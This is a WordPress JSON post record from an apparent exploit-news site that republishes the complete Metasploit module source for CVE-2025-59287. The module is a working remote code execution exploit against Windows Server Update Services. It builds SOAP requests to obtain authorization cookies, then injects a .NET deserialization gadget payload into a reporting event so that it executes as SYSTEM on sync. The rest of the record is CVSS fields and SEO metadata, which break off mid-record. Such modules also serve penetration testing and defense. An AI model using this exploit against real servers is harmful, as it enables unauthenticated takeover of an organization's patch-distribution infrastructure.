{"id":25958,"date":"2025-11-12T13:39:15","date_gmt":"2025-11-12T13:39:15","guid":{"rendered":"http:\/\/localhost\/?p=25958"},"modified":"2025-11-12T13:39:15","modified_gmt":"2025-11-12T13:39:15","slug":"windows-server-update-service-deserialization-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=25958","title":{"rendered":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-12T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module exploits deserialization vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = GreatRanking\\n\\n  include Exploit::Remote::HttpClient\\n  include Msf::Util::DotNetDeserialization\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Windows Server Update Service Deserialization Remote Code Execution&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;mwulftange&#8217;, # security research\\n          &#8216;msutovsky-r7&#8217; # module development\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1190_EXPLOIT_PUBLIC_FACING_APPLICATION],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/code-white.com\/blog\/wsus-cve-2025-59287-analysis\/&#8217;],\\n          [ &#8216;CVE&#8217;, &#8216;2025-59287&#8217;]\\n        ],\\n        &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e &#8216;8530&#8217;,\\n          &#8216;WfsDelay&#8217; =\\u003e 900 # need to wait for WSUS to try synchronize\\n        },\\n        &#8216;Targets&#8217; =\\u003e [\\n          [ &#8216;Windows&#8217;, {}]\\n        ],\\n\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-10-14&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SERVICE_RESTARTS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, SCREEN_EFFECTS]\\n        }\\n      )\\n    )\\n  end\\n\\n  def get_soap_response_xml(path, soap_action, data)\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e path,\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;SOAPAction&#8217; =\\u003e soap_action\\n      },\\n      &#8216;ctype&#8217; =\\u003e &#8216;text\/xml&#8217;,\\n      &#8216;data&#8217; =\\u003e data\\n    })\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Received unexpected response from WSUS&#8217;) unless res\\u0026.code == 200\\n    xml = res.get_xml_document\\n    xml.remove_namespaces!\\n    xml\\n  end\\n\\n  def get_server_id\\n    soap_body = \\u003c\\u003c~XML\\n      \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n      \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n      \\u003csoap:Body\\u003e\\n      \\u003cGetRollupConfiguration xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221;\\u003e\\n      \\u003ccookie xmlns:i=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; i:nil=\\&#8221;true\\&#8221;\/\\u003e\\n      \\u003c\/GetRollupConfiguration\\u003e\\n      \\u003c\/soap:Body\\u003e\\n      \\u003c\/soap:Envelope\\u003e\\n    XML\\n\\n    xml = get_soap_response_xml(normalize_uri(&#8216;ReportingWebService&#8217;, &#8216;ReportingWebService.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/GetRollupConfiguration&#8217;, soap_body)\\n\\n    @server_id = xml.xpath(&#8216;\/\/ServerId&#8217;).text.to_s\\n\\n    fail_with(Failure::Unknown, &#8216;Failed to get server ID&#8217;) unless @server_id\\n  end\\n\\n  def get_auth_cookie\\n    soap_body = \\u003c\\u003c~XML\\n      \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n      \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n      \\u003csoap:Body\\u003e\\n      \\u003cGetAuthorizationCookie xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/SimpleAuthWebService\\&#8221;\\u003e\\n      \\u003cclientId\\u003e#{@server_id}\\u003c\/clientId\\u003e\\n      \\u003ctargetGroupName\\u003e\\u003c\/targetGroupName\\u003e\\n      \\u003cdnsName\\u003e#{Rex::Text.rand_text_alpha_lower(4..8)}\\u003c\/dnsName\\u003e\\n      \\u003c\/GetAuthorizationCookie\\u003e\\n      \\u003c\/soap:Body\\u003e\\n      \\u003c\/soap:Envelope\\u003e\\n    XML\\n\\n    xml = get_soap_response_xml(normalize_uri(&#8216;SimpleAuthWebService&#8217;, &#8216;SimpleAuth.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/SimpleAuthWebService\/GetAuthorizationCookie&#8217;, soap_body)\\n\\n    @auth_cookie = xml.xpath(&#8216;\/\/CookieData&#8217;).text.to_s\\n    @plugin_id = xml.xpath(&#8216;\/\/PlugInId&#8217;).text.to_s\\n    fail_with(Failure::Unknown, &#8216;Failed to get authentication cookie&#8217;) unless @auth_cookie \\u0026\\u0026 @plugin_id\\n  end\\n\\n  def get_reporting_parameters\\n    timenow = Time.now.strftime(&#8216;%Y-%m-%dT%H:%M:%SZ&#8217;)\\n\\n    soap_body = \\u003c\\u003c~XML\\n      \\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;utf-8\\&#8221;?\\u003e\\n      \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221;\\u003e\\n      \\u003csoap:Body\\u003e\\n      \\u003cGetCookie xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/ClientWebService\\&#8221;\\u003e\\n      \\u003cauthCookies\\u003e\\n      \\u003cAuthorizationCookie\\u003e\\n      \\u003cPlugInId\\u003e#{@plugin_id}\\u003c\/PlugInId\\u003e\\n      \\u003cCookieData\\u003e#{@auth_cookie}\\u003c\/CookieData\\u003e\\n      \\u003c\/AuthorizationCookie\\u003e\\n      \\u003c\/authCookies\\u003e\\n      \\u003coldCookie xmlns:i=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; i:nil=\\&#8221;true\\&#8221;\/\\u003e\\n      \\u003clastChange\\u003e#{timenow}\\u003c\/lastChange\\u003e\\n      \\u003ccurrentTime\\u003e#{timenow}\\u003c\/currentTime\\u003e\\n      \\u003cprotocolVersion\\u003e1.20\\u003c\/protocolVersion\\u003e\\n      \\u003c\/GetCookie\\u003e\\n      \\u003c\/soap:Body\\u003e\\n      \\u003c\/soap:Envelope\\u003e\\n    XML\\n\\n    xml = get_soap_response_xml(normalize_uri(&#8216;ClientWebService&#8217;, &#8216;Client.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/Server\/ClientWebService\/GetCookie&#8217;, soap_body)\\n\\n    @encrypted_data = xml.xpath(&#8216;\/\/EncryptedData&#8217;).text.to_s\\n    @expiration = xml.xpath(&#8216;\/\/Expiration&#8217;).text.to_s\\n\\n    fail_with(Failure::Unknown, &#8216;Failed to get reporting parameters&#8217;) unless @encrypted_data \\u0026\\u0026 @expiration\\n  end\\n\\n  def create_malicious_event\\n    timenow = Time.now.strftime(&#8216;%Y-%m-%dT%H:%M:%SZ&#8217;)\\n    payload_data = ::Msf::Util::DotNetDeserialization.generate(\\n      payload.encoded,\\n      gadget_chain: :WindowsIdentity,\\n      formatter: :SoapFormatter\\n    )\\n\\n    soap_body = \\u003c\\u003c~XML\\n      \\u003csoap:Envelope xmlns:soap=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\\&#8221; xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221; xmlns:xsd=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema\\&#8221; xmlns:soapenc=\\&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\\&#8221;\\u003e\\n      \\u003csoap:Body\\u003e\\n      \\u003cReportEventBatch xmlns=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221;\\u003e\\n      \\u003ccookie\\u003e\\n      \\u003cExpiration\\u003e#{@expiration}\\u003c\/Expiration\\u003e\\n      \\u003cEncryptedData\\u003e#{@encrypted_data}\\u003c\/EncryptedData\\u003e\\n      \\u003c\/cookie\\u003e\\n      \\u003cclientTime\\u003e#{timenow}\\u003c\/clientTime\\u003e\\n      \\u003ceventBatch xmlns:q1=\\&#8221;http:\/\/www.microsoft.com\/SoftwareDistribution\\&#8221; soapenc:arrayType=\\&#8221;q1:ReportingEvent[1]\\&#8221;\\u003e\\n      \\u003cReportingEvent\\u003e\\n      \\u003cBasicData\\u003e\\n      \\u003cTargetID\\u003e\\n      \\u003cSid\\u003e#{SecureRandom.uuid.strip}\\u003c\/Sid\\u003e\\n      \\u003c\/TargetID\\u003e\\n      \\u003cSequenceNumber\\u003e0\\u003c\/SequenceNumber\\u003e\\n      \\u003cTimeAtTarget\\u003e#{timenow}\\u003c\/TimeAtTarget\\u003e\\n      \\u003cEventInstanceID\\u003e#{SecureRandom.uuid.strip}\\u003c\/EventInstanceID\\u003e\\n      \\u003cNamespaceID\\u003e2\\u003c\/NamespaceID\\u003e\\n      \\u003cEventID\\u003e389\\u003c\/EventID\\u003e\\n      \\u003cSourceID\\u003e301\\u003c\/SourceID\\u003e\\n      \\u003cUpdateID\\u003e\\n      \\u003cUpdateID\\u003e#{SecureRandom.uuid.strip}\\u003c\/UpdateID\\u003e\\n      \\u003cRevisionNumber\\u003e0\\u003c\/RevisionNumber\\u003e\\n      \\u003c\/UpdateID\\u003e\\n      \\u003cWin32HResult\\u003e0\\u003c\/Win32HResult\\u003e\\n      \\u003cAppName\\u003e#{Rex::Text.rand_text_alpha_lower(4..8)}\\u003c\/AppName\\u003e\\n      \\u003c\/BasicData\\u003e\\n      \\u003cExtendedData\\u003e\\n      \\u003cMiscData soapenc:arrayType=\\&#8221;xsd:string[2]\\&#8221;\\u003e\\n      \\u003cstring\\u003eAdministrator=SYSTEM\\u003c\/string\\u003e\\n      \\u003cstring\\u003eSynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)}\\u003c\/string\\u003e\\n      \\u003c\/MiscData\\u003e\\n      \\u003c\/ExtendedData\\u003e\\n      \\u003cPrivateData\\u003e\\n      \\u003cComputerDnsName\\u003e\\u003c\/ComputerDnsName\\u003e\\n      \\u003cUserAccountName\\u003e\\u003c\/UserAccountName\\u003e\\n      \\u003c\/PrivateData\\u003e\\n      \\u003c\/ReportingEvent\\u003e\\n      \\u003c\/eventBatch\\u003e\\n      \\u003c\/ReportEventBatch\\u003e\\n      \\u003c\/soap:Body\\u003e\\n      \\u003c\/soap:Envelope\\u003e\\n    XML\\n\\n    xml = get_soap_response_xml(normalize_uri(&#8216;ReportingWebService&#8217;, &#8216;ReportingWebService.asmx&#8217;), &#8216;http:\/\/www.microsoft.com\/SoftwareDistribution\/ReportEventBatch&#8217;, soap_body)\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Failed to create malicious report, target might be not vulnerable&#8217;) unless xml.xpath(&#8216;\/\/ReportEventBatchResult&#8217;).text.to_s == &#8216;true&#8217;\\n  end\\n\\n  ##\\n  # Could not find better way to check if target is running vulnerable WSUS, leaving it for now with checking for presence of WSUS\\n  ##\\n  def check\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    })\\n    return CheckCode::Safe(&#8216;Target does not run WSUS&#8217;) unless res\\u0026.code == 200 \\u0026\\u0026 res.headers[&#8216;Server&#8217;] == &#8216;Microsoft-IIS\/10.0&#8217;\\n\\n    CheckCode::Detected(&#8216;Target is probably running WSUS&#8217;)\\n  end\\n\\n  def exploit\\n    vprint_status(&#8216;Getting server ID&#8217;)\\n    get_server_id\\n    vprint_status(&#8216;Getting authentication cookie&#8217;)\\n    get_auth_cookie\\n    vprint_status(&#8216;Getting reporting cookie&#8217;)\\n    get_reporting_parameters\\n    vprint_status(&#8216;Trying to create malicious event&#8217;)\\n    create_malicious_event\\n    vprint_status(&#8216;Created malicious event, now waiting for WSUS to sync&#8217;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/http\/wsus_deserialization_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/http\/wsus_deserialization_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-12T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module exploits deserialization vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank =&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-25958","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=25958\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-12T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module exploits deserialization vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit: https:\/\/metasploit.com\/downloadn# Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn##nnclass MetasploitModule u003c Msf::Exploit::Remoten Rank =...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=25958\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-12T13:39:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-\",\"datePublished\":\"2025-11-12T13:39:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958\"},\"wordCount\":1661,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25958#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958\",\"name\":\"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-12T13:39:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25958\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25958#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=25958","og_locale":"en_US","og_type":"article","og_title":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-12T19:04:28&#8243;,&#8221;description&#8221;:&#8221;This module exploits deserialization vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;modified&#8221;:&#8221;2025-11-12T18:56:54&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Server Update Service Deserialization Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-59287&#8243;],&#8221;sourceData&#8221;:&#8221;##n# This module requires Metasploit: https:\/\/metasploit.com\/downloadn# Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn##nnclass MetasploitModule u003c Msf::Exploit::Remoten Rank =...","og_url":"https:\/\/zero.redgem.net\/?p=25958","og_site_name":"zero redgem","article_published_time":"2025-11-12T13:39:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=25958#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=25958"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-","datePublished":"2025-11-12T13:39:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=25958"},"wordCount":1661,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=25958#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=25958","url":"https:\/\/zero.redgem.net\/?p=25958","name":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-12T13:39:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=25958#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=25958"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=25958#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Windows Server Update Service Deserialization Remote Code Execution_MSF:EXPLOIT-WINDOWS-HTTP-WSUS_DESERIALIZATION_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero 